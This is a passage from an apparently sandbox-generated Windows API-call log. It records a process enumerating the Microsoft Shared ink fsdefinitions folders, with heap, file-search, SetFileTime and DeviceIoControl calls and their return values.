ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0143.268] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.268] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.268] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.268] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.268] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.268] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.268] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.268] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e630 [0143.268] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991818 [0143.268] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.268] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0143.268] GetLastError () returned 0x12 [0143.269] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.269] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0143.269] GetLastError () returned 0x12 [0143.269] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.269] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.269] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.269] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0143.269] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.270] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.270] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x992ba0 [0143.270] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x992ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x992ba0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.271] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x992ba0) returned 1 [0143.271] NtClose (Handle=0x1a4) returned 0x0 [0143.271] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.271] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.271] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.271] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.271] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.271] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.271] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.271] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.272] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e650 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991920 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.272] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e670 [0143.272] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991a28 [0143.272] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.272] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0143.273] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.273] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.273] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.273] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.273] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.273] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e690 [0143.273] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991b30 [0143.273] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0143.273] GetLastError () returned 0x12 [0143.273] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.273] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0143.273] GetLastError () returned 0x12 [0143.273] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.273] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.273] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.273] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0143.274] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.275] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.275] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x992ba0 [0143.275] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x992ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x992ba0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.275] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x992ba0) returned 1 [0143.275] NtClose (Handle=0x19c) returned 0x0 [0143.275] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.275] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.275] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.275] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.275] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.275] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.276] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.278] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.279] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e6b0 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991c38 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e6d0 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991d40 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e6f0 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991e48 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 